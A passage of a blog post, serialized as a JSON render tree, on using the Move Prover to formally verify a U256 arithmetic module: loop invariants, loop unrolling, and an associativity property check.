",{"type":25,"tag":71,"props":12561,"children":12564},{"href":12562,"rel":12563},"https://osec.io/blog/tutorials/2022-09-06-move-introduction/",[75],[12565],{"type":31,"value":12566},"previous post",{"type":31,"value":80},{"type":25,"tag":191,"props":12569,"children":12571},{"code":12570,"language":4486,"meta":7,"className":4487,"style":7},"  while ({\n      spec {\n          invariant len(amounts_times_coins) == i;\n          invariant i \u003C= n_coins;\n          invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n      };\n      (i \u003C n_coins)\n  }) {\n      vector::push_back(\n          &mut amounts_times_coins,\n          (*vector::borrow(&input, (i as u64)) as u128) * (n_coins as u128)\n      );\n      i = i + 1;\n  };\n",[12572],{"type":25,"tag":115,"props":12573,"children":12574},{"__ignoreMap":7},[12575,12587,12598,12634,12657,12740,12747,12771,12779,12799,12819,12910,12917,12945],{"type":25,"tag":201,"props":12576,"children":12577},{"class":203,"line":204},[12578,12583],{"type":25,"tag":201,"props":12579,"children":12580},{"style":230},[12581],{"type":31,"value":12582},"  while",{"type":25,"tag":201,"props":12584,"children":12585},{"style":220},[12586],{"type":31,"value":10040},{"type":25,"tag":201,"props":12588,"children":12589},{"class":203,"line":226},[12590,12594],{"type":25,"tag":201,"props":12591,"children":12592},{"style":246},[12593],{"type":31,"value":10435},{"type":25,"tag":201,"props":12595,"children":12596},{"style":220},[12597],{"type":31,"value":327},{"type":25,"tag":201,"props":12599,"children":12600},{"class":203,"line":278},[12601,12606,12610,12614,12618,12622,12626,12630],{"type":25,"tag":201,"props":12602,"children":12603},{"style":246},[12604],{"type":31,"value":12605},"          invariant",{"type":25,"tag":201,"props":12607,"children":12608},{"style":214},[12609],{"type":31,"value":10065},{"type":25,"tag":201,"props":12611,"children":12612},{"style":220},[12613],{"type":31,"value":298},{"type":25,"tag":201,"props":12615,"children":12616},{"style":246},[12617],{"type":31,"value":10074},{"type":25,"tag":201,"props":12619,"children":12620},{"style":220},[12621],{"type":31,"value":385},{"type":25,"tag":201,"props":12623,"children":12624},{"style":261},[12625],{"type":31,"value":10083},{"type":25,"tag":201,"props":12627,"children":12628},{"style":246},[12629],{"type":31,"value":4904},{"type":25,"tag":201,"props":12631,"children":12632},{"style":220},[12633],{"type":31,"value":461},{"type":25,"tag":201,"props":12635,"children":12636},{"class":203,"line":311},[12637,12641,12645,12649,12653],{"type":25,"tag":201,"props":12638,"children":12639},{"style":246},[12640],{"type":31,"value":12605},{"type":25,"tag":201,"props":12642,"children":12643},{"style":246},[12644],{"type":31,"value":4904},{"type":25,"tag":201,"props":12646,"children":12647},{"style":261},[12648],{"type":31,"value":9705},{"type":25,"tag":201,"props":12650,"children":12651},{"style":246},[12652],{"type":31,"value":9994},{"type":25,"tag":201,"props":12654,"children":12655},{"style":220},[12656],{"type":31,"value":461},{"type":25,"tag":201,"props":12658,"children":12659},{"class":203,"line":330},[12660,12664,12668,12672,12676,12680,12684,12688,12692,12696,12700,12704,12708,12712,12716,12720,12724,12728,12732,12736],{"type":25,"tag":201,"props":12661,"children":12662},{"style":246},[12663],{"type":31,"value":12605},{"type":25,"tag":201,"props":12665,"children":12666},{"style":246},[12667],{"type":31,"value":10126},{"type":25,"tag":201,"props":12669,"children":12670},{"style":246},[12671],{"type":31,"value":10131},{"type":25,"tag":201,"props":12673,"children":12674},{"style":208},[12675],{"type":31,"value":4549},{"type":25,"tag":201,"props":12677,"children":12678},{"style":426},[12679],{"type":31,"value":4554},{"type":25,"tag":201,"props":12681,"children":12682},{"style":261},[12683],{"type":31,"value":4559},{"type":25,"tag":201,"props":12685,"children":12686},{"style":246},[12687],{"type":31,"value":3641},{"type":25,"tag":201,"props":12689,"children":12690},{"style":261},[12691],{"type":31,"value":5997},{"type":25,"tag":201,"props":12693,"children":12694},{"style":246},[12695],{"type":31,"value":9929},{"type":25,"tag":201,"props":12697,"children":12698},{"style":220},[12699],{"type":31,"value":423},{"type":25,"tag":201,"props":12701,"children":12702},{"style":246},[12703],{"type":31,"value":10164},{"type":25,"tag":201,"props":12705,"children":12706},{"style":220},[12707],{"type":31,"value":10169},{"type":25,"tag":201,"props":12709,"children":12710},{"style":261},[12711],{"type":31,"value":10083},{"type":25,"tag":201,"props":12713,"children":12714},{"style":246},[12715],{"type":31,"value":10178},{"type":25,"tag":201,"props":12717,"children":12718},{"style":220},[12719],{"type":31,"value":423},{"type":25,"tag":201,"props":12721,"children":12722},{"style":246},[12723],{"type":31,"value":10164},{"type":25,"tag":201,"props":12725,"children":12726},{"style":220},[12727],{"type":31,"value":10169},{"type":25,"tag":201,"props":12729,"children":12730},{"style":261},[12731],{"type":31,"value":6077},{"type":25,"tag":201,"props":12733,"children":12734},{"style":246},[12735],{"type":31,"value":9994},{"type":25,"tag":201,"props":12737,"children":12738},{"style":220},[12739],{"type":31,"value":461},{"type":25,"tag":201,"props":12741,"children":12742},{"class":203,"line":397},[12743],{"type":25,"tag":201,"props":12744,"children":12745},{"style":220},[12746],{"type":31,"value":1113},{"type":25,"tag":201,"props":12748,"children":12749},{"class":203,"line":437},[12750,12755,12759,12763,12767],{"type":25,"tag":201,"props":12751,"children":12752},{"style":220},[12753],{"type":31,"value":12754},"      (",{"type":25,"tag":201,"props":12756,"children":12757},{"style":246},[12758],{"type":31,"value":3641},{"type":25,"tag":201,"props":12760,"children":12761},{"style":261},[12762],{"type":31,"value":3208},{"type":25,"tag":201,"props":12764,"children":12765},{"style":246},[12766],{"type":31,"value":9994},{"type":25,"tag":201,"props":12768,"children":12769},{"style":220},[12770],{"type":31,"value":4666},{"type":25,"tag":201,"props":12772,"children":12773},{"class":203,"line":464},[12774],{"type":25,"tag":201,"props":12775,"children":12776},{"style":220},[12777],{"type":31,"value":12778},"  }) {\n",{"type":25,"tag":201,"props":12780,"children":12781},{"class":203,"line":490},[12782,12787,12791,12795],{"type":25,"tag":201,"props":12783,"children":12784},{"style":220},[12785],{"type":31,"value":12786},"      vector",{"type":25,"tag":201,"props":12788,"children":12789},{"style":261},[12790],{"type":31,"value":4988},{"type":25,"tag":201,"props":12792,"children":12793},{"style":214},[12794],{"type":31,"value":10259},{"type":25,"tag":201,"props":12796,"children":12797},{"style":220},[12798],{"type":31,"value":4970},{"type":25,"tag":201,"props":12800,"children":12801},{"class":203,"line":499},[12802,12807,12811,12815],{"type":25,"tag":201,"props":12803,"children":12804},{"style":261},[12805],{"type":31,"value":12806},"          &",{"type":25,"tag":201,"props":12808,"children":12809},{"style":208},[12810],{"type":31,"value":5228},{"type":25,"tag":201,"props":12812,"children":12813},{"style":246},[12814],{"type":31,"value":9929},{"type":25,"tag":201,"props":12816,"children":12817},{"style":220},[12818],{"type":31,"value":547},{"type":25,"tag":201,"props":12820,"children":12821},{"class":203,"line":522},[12822,12826,12830,12834,12838,12842,12846,12850,12854,12858,12862,12866,12870,12874,12878,12882,12886,12890,12894,12898,12902,12906],{"type":25,"tag":201,"props":12823,"children":12824},{"style":220},[12825],{"type":31,"value":10218},{"type":25,"tag":201,"props":12827,"children":12828},{"style":261},[12829],{"type":31,"value":6077},{"type":25,"tag":201,"props":12831,"children":12832},{"style":220},[12833],{"type":31,"value":10300},{"type":25,"tag":201,"props":12835,"children":12836},{"style":261},[12837],{"type":31,"value":4988},{"type":25,"tag":201,"props":12839,"children":12840},{"style":214},[12841],{"type":31,"value":10309},{"type":25,"tag":201,"props":12843,"children":12844},{"style":220},[12845],{"type":31,"value":298},{"type":25,"tag":201,"props":12847,"children":12848},{"style":261},[12849],{"type":31,"value":4615},{"type":25,"tag":201,"props":12851,"children":12852},{"style":246},[12853],{"type":31,"value":1461},{"type":25,"tag":201,"props":12855,"children":12856},{"style":220},[12857],{"type":31,"value":10326},{"type":25,"tag":201,"props":12859,"children":12860},{"style":246},[12861],{"type":31,"value":3641},{"type":25,"tag":201,"props":12863,"children":12864},{"style":208},[12865],{"type":31,"value":10335},{"type":25,"tag":201,"props":12867,"children":12868},{"style":4925},[12869],{"type":31,"value":7369},{"type":25,"tag":201,"props":12871,"children":12872},{"style":220},[12873],{"type":31,"value":10344},{"type":25,"tag":201,"props":12875,"children":12876},{"style":208},[12877],{"type":31,"value":10349},{"type":25,"tag":201,"props":12879,"children":12880},{"style":4925},[12881],{"type":31,"value":10354},{"type":25,"tag":201,"props":12883,"children":12884},{"style":220},[12885],{"type":31,"value":385},{"type":25,"tag":201,"props":12887,"children":12888},{"style":261},[12889],{"type":31,"value":6077},{"type":25,"tag":201,"props":12891,"children":12892},{"style":220},[12893],{"type":31,"value":238},{"type":25,"tag":201,"props":12895,"children":12896},{"style":246},[12897],{"type":31,"value":10371},{"type":25,"tag":201,"props":12899,"children":12900},{"style":208},[12901],{"type":31,"value":10335},{"type":25,"tag":201,"props":12903,"children":12904},{"style":4925},[12905],{"type":31,"value":10354},{"type":25,"tag":201,"props":12907,"children":12908},{"style":220},[12909],{"type":31,"value":4666},{"type":25,"tag":201,"props":12911,"children":12912},{"class":203,"line":531},[12913],{"type":25,"tag":201,"props":12914,"children":12915},{"style":220},[12916],{"type":31,"value":8275},{"type":25,"tag":201,"props":12918,"children":12919},{"class":203,"line":550},[12920,12925,12929,12933,12937,12941],{"type":25,"tag":201,"props":12921,"children":12922},{"style":246},[12923],{"type":31,"value":12924},"      i",{"type":25,"tag":201,"props":12926,"children":12927},{"style":261},[12928],{"type":31,"value":413},{"type":25,"tag":201,"props":12930,"children":12931},{"style":246},[12932],{"type":31,"value":4904},{"type":25,"tag":201,"props":12934,"children":12935},{"style":261},[12936],{"type":31,"value":10412},{"type":25,"tag":201,"props":12938,"children":12939},{"style":426},[12940],{"type":31,"value":6029},{"type":25,"tag":201,"props":12942,"children":12943},{"style":220},[12944],{"type":31,"value":461},{"type":25,"tag":201,"props":12946,"children":12947},{"class":203,"line":563},[12948],{"type":25,"tag":201,"props":12949,"children":12950},{"style":220},[12951],{"type":31,"value":12952},"  };\n",{"type":25,"tag":34,"props":12954,"children":12955},{},[12956,12958,12964,12966,12971,12973,12979],{"type":31,"value":12957},"In this case, the brackets specify the loop invariant for the ",{"type":25,"tag":115,"props":12959,"children":12961},{"className":12960},[],[12962],{"type":31,"value":12963},"while",{"type":31,"value":12965}," loop. Note that because the loop invariant executes ",{"type":25,"tag":65,"props":12967,"children":12968},{},[12969],{"type":31,"value":12970},"after",{"type":31,"value":12972}," the loop guard, so we need to account for an extra step with ",{"type":25,"tag":115,"props":12974,"children":12976},{"className":12975},[],[12977],{"type":31,"value":12978},"i \u003C= n_coins",{"type":31,"value":80},{"type":25,"tag":191,"props":12981,"children":12983},{"code":12982,"language":4486,"meta":7,"className":4487,"style":7},"  while ({\n      spec {\n          invariant len(amounts_times_coins) == i;\n          invariant i \u003C= n_coins;\n          invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n      };\n      (i \u003C n_coins)\n  }) {\n",[12984],{"type":25,"tag":115,"props":12985,"children":12986},{"__ignoreMap":7},[12987,12998,13009,13044,13067,13150,13157,13180],{"type":25,"tag":201,"props":12988,"children":12989},{"class":203,"line":204},[12990,12994],{"type":25,"tag":201,"props":12991,"children":12992},{"style":230},[12993],{"type":31,"value":12582},{"type":25,"tag":201,"props":12995,"children":12996},{"style":220},[12997],{"type":31,"value":10040},{"type":25,"tag":201,"props":12999,"children":13000},{"class":203,"line":226},[13001,13005],{"type":25,"tag":201,"props":13002,"children":13003},{"style":246},[13004],{"type":31,"value":10435},{"type":25,"tag":201,"props":13006,"children":13007},{"style":220},[13008],{"type":31,"value":327},{"type":25,"tag":201,"props":13010,"children":13011},{"class":203,"line":278},[13012,13016,13020,13024,13028,13032,13036,13040],{"type":25,"tag":201,"props":13013,"children":13014},{"style":246},[13015],{"type":31,"value":12605},{"type":25,"tag":201,"props":13017,"children":13018},{"style":214},[13019],{"type":31,"value":10065},{"type":25,"tag":201,"props":13021,"children":13022},{"style":220},[13023],{"type":31,"value":298},{"type":25,"tag":201,"props":13025,"children":13026},{"style":246},[13027],{"type":31,"value":10074},{"type":25,"tag":201,"props":13029,"children":13030},{"style":220},[13031],{"type":31,"value":385},{"type":25,"tag":201,"props":13033,"children":13034},{"style":261},[13035],{"type":31,"value":10083},{"type":25,"tag":201,"props":13037,"children":13038},{"style":246},[13039],{"type":31,"value":4904},{"type":25,"tag":201,"props":13041,"children":13042},{"style":220},[13043],{"type":31,"value":461},{"type":25,"tag":201,"props":13045,"children":13046},{"class":203,"line":311},[13047,13051,13055,13059,13063],{"type":25,"tag":201,"props":13048,"children":13049},{"style":246},[13050],{"type":31,"value":12605},{"type":25,"tag":201,"props":13052,"children":13053},{"style":246},[13054],{"type":31,"value":4904},{"type":25,"tag":201,"props":13056,"children":13057},{"style":261},[13058],{"type":31,"value":9705},{"type":25,"tag":201,"props":13060,"children":13061},{"style":246},[13062],{"type":31,"value":9994},{"type":25,"tag":201,"props":13064,"children":13065},{"style":220},[13066],{"type":31,"value":461},{"type":25,"tag":201,"props":13068,"children":13069},{"class":203,"line":330},[13070,13074,13078,13082,13086,13090,13094,13098,13102,13106,13110,13114,13118,13122,13126,13130,13134,13138,13142,13146],{"type":25,"tag":201,"props":13071,"children":13072},{"style":246},[13073],{"type":31,"value":12605},{"type":25,"tag":201,"props":13075,"children":13076},{"style":246},[13077],{"type":31,"value":10126},{"type":25,"tag":201,"props":13079,"children":13080},{"style":246},[13081],{"type":31,"value":10131},{"type":25,"tag":201,"props":13083,"children":13084},{"style":208},[13085],{"type":31,"value":4549},{"type":25,"tag":201,"props":13087,"children":13088},{"style":426},[13089],{"type":31,"value":4554},{"type":25,"tag":201,"props":13091,"children":13092},{"style":261},[13093],{"type":31,"value":4559},{"type":25,"tag":201,"props":13095,"children":13096},{"style":246},[13097],{"type":31,"value":3641},{"type":25,"tag":201,"props":13099,"children":13100},{"style":261},[13101],{"type":31,"value":5997},{"type":25,"tag":201,"props":13103,"children":13104},{"style":246},[13105],{"type":31,"value":9929},{"type":25,"tag":201,"props":13107,"children":13108},{"style":220},[13109],{"type":31,"value":423},{"type":25,"tag":201,"props":13111,"children":13112},{"style":246},[13113],{"type":31,"value":10164},{"type":25,"tag":201,"props":13115,"children":13116},{"style":220},[13117],{"type":31,"value":10169},{"type":25,"tag":201,"props":13119,"children":13120},{"style":261},[13121],{"type":31,"value":10083},{"type":25,"tag":201,"props":13123,"children":13124},{"style":246},[13125],{"type":31,"value":10178},{"type":25,"tag":201,"props":13127,"children":13128},{"style":220},[13129],{"type":31,"value":423},{"type":25,"tag":201,"props":13131,"children":13132},{"style":246},[13133],{"type":31,"value":10164},{"type":25,"tag":201,"props":13135,"children":13136},{"style":220},[13137],{"type":31,"value":10169},{"type":25,"tag":201,"props":13139,"children":13140},{"style":261},[13141],{"type":31,"value":6077},{"type":25,"tag":201,"props":13143,"children":13144},{"style":246},[13145],{"type":31,"value":9994},{"type":25,"tag":201,"props":13147,"children":13148},{"style":220},[13149],{"type":31,"value":461},{"type":25,"tag":201,"props":13151,"children":13152},{"class":203,"line":397},[13153],{"type":25,"tag":201,"props":13154,"children":13155},{"style":220},[13156],{"type":31,"value":1113},{"type":25,"tag":201,"props":13158,"children":13159},{"class":203,"line":437},[13160,13164,13168,13172,13176],{"type":25,"tag":201,"props":13161,"children":13162},{"style":220},[13163],{"type":31,"value":12754},{"type":25,"tag":201,"props":13165,"children":13166},{"style":246},[13167],{"type":31,"value":3641},{"type":25,"tag":201,"props":13169,"children":13170},{"style":261},[13171],{"type":31,"value":3208},{"type":25,"tag":201,"props":13173,"children":13174},{"style":246},[13175],{"type":31,"value":9994},{"type":25,"tag":201,"props":13177,"children":13178},{"style":220},[13179],{"type":31,"value":4666},{"type":25,"tag":201,"props":13181,"children":13182},{"class":203,"line":464},[13183],{"type":25,"tag":201,"props":13184,"children":13185},{"style":220},[13186],{"type":31,"value":12778},{"type":25,"tag":34,"props":13188,"children":13189},{},[13190],{"type":31,"value":13191},"Loop invariants are often difficult to write, especially for nontrivial loop bodies.",{"type":25,"tag":34,"props":13193,"children":13194},{},[13195,13197,13202],{"type":31,"value":13196},"The second solution to dealing with loops is to unroll the loop. This technique works in this particular situation because, as we can observe, the loop within the ",{"type":25,"tag":115,"props":13198,"children":13200},{"className":13199},[],[13201],{"type":31,"value":2011},{"type":31,"value":13203}," function will always iterate exactly 4 times:",{"type":25,"tag":191,"props":13205,"children":13207},{"code":13206,"language":4486,"meta":7,"className":4487,"style":7},"/// Total words in `U256` (64 * 4 = 256).\nconst WORDS: u64 = 4;\n\n[...]\n\nlet i = 0;\nwhile (i \u003C WORDS) {\n    let a1 = get(&a, i);\n    let b1 = get(&b, i);\n\n[...]\n",[13208],{"type":25,"tag":115,"props":13209,"children":13210},{"__ignoreMap":7},[13211,13219,13252,13259,13275,13282,13306,13330,13375,13419,13426],{"type":25,"tag":201,"props":13212,"children":13213},{"class":203,"line":204},[13214],{"type":25,"tag":201,"props":13215,"children":13216},{"style":4497},[13217],{"type":31,"value":13218},"/// Total words in `U256` (64 * 4 = 256).\n",{"type":25,"tag":201,"props":13220,"children":13221},{"class":203,"line":226},[13222,13226,13231,13235,13239,13243,13248],{"type":25,"tag":201,"props":13223,"children":13224},{"style":208},[13225],{"type":31,"value":4074},{"type":25,"tag":201,"props":13227,"children":13228},{"style":220},[13229],{"type":31,"value":13230}," WORDS",{"type":25,"tag":201,"props":13232,"children":13233},{"style":261},[13234],{"type":31,"value":5997},{"type":25,"tag":201,"props":13236,"children":13237},{"style":4925},[13238],{"type":31,"value":7369},{"type":25,"tag":201,"props":13240,"children":13241},{"style":261},[13242],{"type":31,"value":413},{"type":25,"tag":201,"props":13244,"children":13245},{"style":426},[13246],{"type":31,"value":13247}," 4",{"type":25,"tag":201,"props":13249,"children":13250},{"style":220},[13251],{"type":31,"value":461},{"type":25,"tag":201,"props":13253,"children":13254},{"class":203,"line":278},[13255],{"type":25,"tag":201,"props":13256,"children":13257},{"emptyLinePlaceholder":17},[13258],{"type":31,"value":496},{"type":25,"tag":201,"props":13260,"children":13261},{"class":203,"line":311},[13262,13266,13270],{"type":25,"tag":201,"props":13263,"children":13264},{"style":220},[13265],{"type":31,"value":423},{"type":25,"tag":201,"props":13267,"children":13268},{"style":261},[13269],{"type":31,"value":11095},{"type":25,"tag":201,"props":13271,"children":13272},{"style":220},[13273],{"type":31,"value":13274},"]\n",{"type":25,"tag":201,"props":13276,"children":13277},{"class":203,"line":330},[13278],{"type":25,"tag":201,"props":13279,"children":13280},{"emptyLinePlaceholder":17},[13281],{"type":31,"value":496},{"type":25,"tag":201,"props":13283,"children":13284},{"class":203,"line":397},[13285,13290,13294,13298,13302],{"type":25,"tag":201,"props":13286,"children":13287},{"style":208},[13288],{"type":31,"value":13289},"let",{"type":25,"tag":201,"props":13291,"children":13292},{"style":246},[13293],{"type":31,"value":4904},{"type":25,"tag":201,"props":13295,"children":13296},{"style":261},[13297],{"type":31,"value":413},{"type":25,"tag":201,"props":13299,"children":13300},{"style":426},[13301],{"type":31,"value":4554},{"type":25,"tag":201,"props":13303,"children":13304},{"style":220},[13305],{"type":31,"value":461},{"type":25,"tag":201,"props":13307,"children":13308},{"class":203,"line":437},[13309,13313,13317,13321,13325],{"type":25,"tag":201,"props":13310,"children":13311},{"style":230},[13312],{"type":31,"value":12963},{"type":25,"tag":201,"props":13314,"children":13315},{"style":220},[13316],{"type":31,"value":238},{"type":25,"tag":201,"props":13318,"children":13319},{"style":246},[13320],{"type":31,"value":3641},{"type":25,"tag":201,"props":13322,"children":13323},{"style":261},[13324],{"type":31,"value":3208},{"type":25,"tag":201,"props":13326,"children":13327},{"style":220},[13328],{"type":31,"value":13329}," WORDS) {\n",{"type":25,"tag":201,"props":13331,"children":13332},{"class":203,"line":464},[13333,13337,13342,13346,13351,13355,13359,13363,13367,13371],{"type":25,"tag":201,"props":13334,"children":13335},{"style":208},[13336],{"type":31,"value":4508},{"type":25,"tag":201,"props":13338,"children":13339},{"style":246},[13340],{"type":31,"value":13341}," a1",{"type":25,"tag":201,"props":13343,"children":13344},{"style":261},[13345],{"type":31,"value":413},{"type":25,"tag":201,"props":13347,"children":13348},{"style":214},[13349],{"type":31,"value":13350}," get",{"type":25,"tag":201,"props":13352,"children":13353},{"style":220},[13354],{"type":31,"value":298},{"type":25,"tag":201,"props":13356,"children":13357},{"style":261},[13358],{"type":31,"value":4615},{"type":25,"tag":201,"props":13360,"children":13361},{"style":246},[13362],{"type":31,"value":71},{"type":25,"tag":201,"props":13364,"children":13365},{"style":220},[13366],{"type":31,"value":919},{"type":25,"tag":201,"props":13368,"children":13369},{"style":246},[13370],{"type":31,"value":3641},{"type":25,"tag":201,"props":13372,"children":13373},{"style":220},[13374],{"type":31,"value":308},{"type":25,"tag":201,"props":13376,"children":13377},{"class":203,"line":490},[13378,13382,13387,13391,13395,13399,13403,13407,13411,13415],{"type":25,"tag":201,"props":13379,"children":13380},{"style":208},[13381],{"type":31,"value":4508},{"type":25,"tag":201,"props":13383,"children":13384},{"style":246},[13385],{"type":31,"value":13386}," b1",{"type":25,"tag":201,"props":13388,"children":13389},{"style":261},[13390],{"type":31,"value":413},{"type":25,"tag":201,"props":13392,"children":13393},{"style":214},[13394],{"type":31,"value":13350},{"type":25,"tag":201,"props":13396,"children":13397},{"style":220},[13398],{"type":31,"value":298},{"type":25,"tag":201,"props":13400,"children":13401},{"style":261},[13402],{"type":31,"value":4615},{"type":25,"tag":201,"props":13404,"children":13405},{"style":246},[13406],{"type":31,"value":4729},{"type":25,"tag":201,"props":13408,"children":13409},{"style":220},[13410],{"type":31,"value":919},{"type":25,"tag":201,"props":13412,"children":13413},{"style":246},[13414],{"type":31,"value":3641},{"type":25,"tag":201,"props":13416,"children":13417},{"style":220},[13418],{"type":31,"value":308},{"type":25,"tag":201,"props":13420,"children":13421},{"class":203,"line":499},[13422],{"type":25,"tag":201,"props":13423,"children":13424},{"emptyLinePlaceholder":17},[13425],{"type":31,"value":496},{"type":25,"tag":201,"props":13427,"children":13428},{"class":203,"line":522},[13429,13433,13437],{"type":25,"tag":201,"props":13430,"children":13431},{"style":220},[13432],{"type":31,"value":423},{"type":25,"tag":201,"props":13434,"children":13435},{"style":261},[13436],{"type":31,"value":11095},{"type":25,"tag":201,"props":13438,"children":13439},{"style":220},[13440],{"type":31,"value":13274},{"type":25,"tag":34,"props":13442,"children":13443},{},[13444],{"type":31,"value":13445},"Unrolling the function and running again the Move Prover will print out a \"Success\" message!",{"type":25,"tag":191,"props":13447,"children":13449},{"code":13448},"SUCCESS proving 1 modules from package `u256` in 9.685s\n{\n    \"Result\": \"Success\"\n}\n",[13450],{"type":25,"tag":115,"props":13451,"children":13452},{"__ignoreMap":7},[13453],{"type":31,"value":13448},{"type":25,"tag":34,"props":13455,"children":13456},{},[13457,13459,13464,13465,13471],{"type":31,"value":13458},"For the ",{"type":25,"tag":1252,"props":13460,"children":13461},{},[13462],{"type":31,"value":13463},"Associative Property",{"type":31,"value":238},{"type":25,"tag":115,"props":13466,"children":13468},{"className":13467},[],[13469],{"type":31,"value":13470},"a+(b+c) = (a+b)+c",{"type":31,"value":13472},") to be true, changing the grouping of addends should not change the sum. To verify this, we will first implement a function which simulates this property:",{"type":25,"tag":191,"props":13474,"children":13476},{"code":13475,"language":4486,"meta":7,"className":4487,"style":7},"fun add_assoc_property(a: U256, b: U256, c: U256): bool {\n    let result_1 = add(b, c);\n    let result_11 = add(a, result_1);\n    let result_2 = add(a, b);\n    let result_22 = add(c, result_2);\n\n    let cmp = compare(&result_11, &result_22);\n    if ( cmp == EQUAL ) true else false\n}\n",[13477],{"type":25,"tag":115,"props":13478,"children":13479},{"__ignoreMap":7},[13480,13557,13596,13637,13676,13717,13724,13774,13814],{"type":25,"tag":201,"props":13481,"children":13482},{"class":203,"line":204},[13483,13487,13492,13496,13500,13504,13508,13512,13516,13520,13524,13528,13532,13536,13540,13544,13548,13553],{"type":25,"tag":201,"props":13484,"children":13485},{"style":246},[13486],{"type":31,"value":8616},{"type":25,"tag":201,"props":13488,"children":13489},{"style":214},[13490],{"type":31,"value":13491}," add_assoc_property",{"type":25,"tag":201,"props":13493,"children":13494},{"style":220},[13495],{"type":31,"value":298},{"type":25,"tag":201,"props":13497,"children":13498},{"style":246},[13499],{"type":31,"value":71},{"type":25,"tag":201,"props":13501,"children":13502},{"style":261},[13503],{"type":31,"value":5997},{"type":25,"tag":201,"props":13505,"children":13506},{"style":4925},[13507],{"type":31,"value":6237},{"type":25,"tag":201,"props":13509,"children":13510},{"style":220},[13511],{"type":31,"value":919},{"type":25,"tag":201,"props":13513,"children":13514},{"style":246},[13515],{"type":31,"value":4729},{"type":25,"tag":201,"props":13517,"children":13518},{"style":261},[13519],{"type":31,"value":5997},{"type":25,"tag":201,"props":13521,"children":13522},{"style":4925},[13523],{"type":31,"value":6237},{"type":25,"tag":201,"props":13525,"children":13526},{"style":220},[13527],{"type":31,"value":919},{"type":25,"tag":201,"props":13529,"children":13530},{"style":246},[13531],{"type":31,"value":4652},{"type":25,"tag":201,"props":13533,"children":13534},{"style":261},[13535],{"type":31,"value":5997},{"type":25,"tag":201,"props":13537,"children":13538},{"style":4925},[13539],{"type":31,"value":6237},{"type":25,"tag":201,"props":13541,"children":13542},{"style":220},[13543],{"type":31,"value":3073},{"type":25,"tag":201,"props":13545,"children":13546},{"style":261},[13547],{"type":31,"value":5997},{"type":25,"tag":201,"props":13549,"children":13550},{"style":4925},[13551],{"type":31,"value":13552}," bool",{"type":25,"tag":201,"props":13554,"children":13555},{"style":220},[13556],{"type":31,"value":327},{"type":25,"tag":201,"props":13558,"children":13559},{"class":203,"line":226},[13560,13564,13568,13572,13576,13580,13584,13588,13592],{"type":25,"tag":201,"props":13561,"children":13562},{"style":208},[13563],{"type":31,"value":4508},{"type":25,"tag":201,"props":13565,"children":13566},{"style":246},[13567],{"type":31,"value":9700},{"type":25,"tag":201,"props":13569,"children":13570},{"style":261},[13571],{"type":31,"value":413},{"type":25,"tag":201,"props":13573,"children":13574},{"style":214},[13575],{"type":31,"value":11085},{"type":25,"tag":201,"props":13577,"children":13578},{"style":220},[13579],{"type":31,"value":298},{"type":25,"tag":201,"props":13581,"children":13582},{"style":246},[13583],{"type":31,"value":4729},{"type":25,"tag":201,"props":13585,"children":13586},{"style":220},[13587],{"type":31,"value":919},{"type":25,"tag":201,"props":13589,"children":13590},{"style":246},[13591],{"type":31,"value":4652},{"type":25,"tag":201,"props":13593,"children":13594},{"style":220},[13595],{"type":31,"value":308},{"type":25,"tag":201,"props":13597,"children":13598},{"class":203,"line":278},[13599,13603,13608,13612,13616,13620,13624,13628,13633],{"type":25,"tag":201,"props":13600,"children":13601},{"style":208},[13602],{"type":31,"value":4508},{"type":25,"tag":201,"props":13604,"children":13605},{"style":246},[13606],{"type":31,"value":13607}," result_11",{"type":25,"tag":201,"props":13609,"children":13610},{"style":261},[13611],{"type":31,"value":413},{"type":25,"tag":201,"props":13613,"children":13614},{"style":214},[13615],{"type":31,"value":11085},{"type":25,"tag":201,"props":13617,"children":13618},{"style":220},[13619],{"type":31,"value":298},{"type":25,"tag":201,"props":13621,"children":13622},{"style":246},[13623],{"type":31,"value":71},{"type":25,"tag":201,"props":13625,"children":13626},{"style":220},[13627],{"type":31,"value":919},{"type":25,"tag":201,"props":13629,"children":13630},{"style":246},[13631],{"type":31,"value":13632},"result_1",{"type":25,"tag":201,"props":13634,"children":13635},{"style":220},[13636],{"type":31,"value":308},{"type":25,"tag":201,"props":13638,"children":13639},{"class":203,"line":311},[13640,13644,13648,13652,13656,13660,13664,13668,13672],{"type":25,"tag":201,"props":13641,"children":13642},{"style":208},[13643],{"type":31,"value":4508},{"type":25,"tag":201,"props":13645,"children":13646},{"style":246},[13647],{"type":31,"value":9726},{"type":25,"tag":201,"props":13649,"children":13650},{"style":261},[13651],{"type":31,"value":413},{"type":25,"tag":201,"props":13653,"children":13654},{"style":214},[13655],{"type":31,"value":11085},{"type":25,"tag":201,"props":13657,"children":13658},{"style":220},[13659],{"type":31,"value":298},{"type":25,"tag":201,"props":13661,"children":13662},{"style":246},[13663],{"type":31,"value":71},{"type":25,"tag":201,"props":13665,"children":13666},{"style":220},[13667],{"type":31,"value":919},{"type":25,"tag":201,"props":13669,"children":13670},{"style":246},[13671],{"type":31,"value":4729},{"type":25,"tag":201,"props":13673,"children":13674},{"style":220},[13675],{"type":31,"value":308},{"type":25,"tag":201,"props":13677,"children":13678},{"class":203,"line":330},[13679,13683,13688,13692,13696,13700,13704,13708,13713],{"type":25,"tag":201,"props":13680,"children":13681},{"style":208},[13682],{"type":31,"value":4508},{"type":25,"tag":201,"props":13684,"children":13685},{"style":246},[13686],{"type":31,"value":13687}," result_22",{"type":25,"tag":201,"props":13689,"children":13690},{"style":261},[13691],{"type":31,"value":413},{"type":25,"tag":201,"props":13693,"children":13694},{"style":214},[13695],{"type":31,"value":11085},{"type":25,"tag":201,"props":13697,"children":13698},{"style":220},[13699],{"type":31,"value":298},{"type":25,"tag":201,"props":13701,"children":13702},{"style":246},[13703],{"type":31,"value":4652},{"type":25,"tag":201,"props":13705,"children":13706},{"style":220},[13707],{"type":31,"value":919},{"type":25,"tag":201,"props":13709,"children":13710},{"style":246},[13711],{"type":31,"value":13712},"result_2",{"type":25,"tag":201,"props":13714,"children":13715},{"style":220},[13716],{"type":31,"value":308},{"type":25,"tag":201,"props":13718,"children":13719},{"class":203,"line":397},[13720],{"type":25,"tag":201,"props":13721,"children":13722},{"emptyLinePlaceholder":17},[13723],{"type":31,"value":496},{"type":25,"tag":201,"props":13725,"children":13726},{"class":203,"line":437},[13727,13731,13735,13739,13744,13748,13752,13757,13761,13765,13770],{"type":25,"tag":201,"props":13728,"children":13729},{"style":208},[13730],{"type":31,"value":4508},{"type":25,"tag":201,"props":1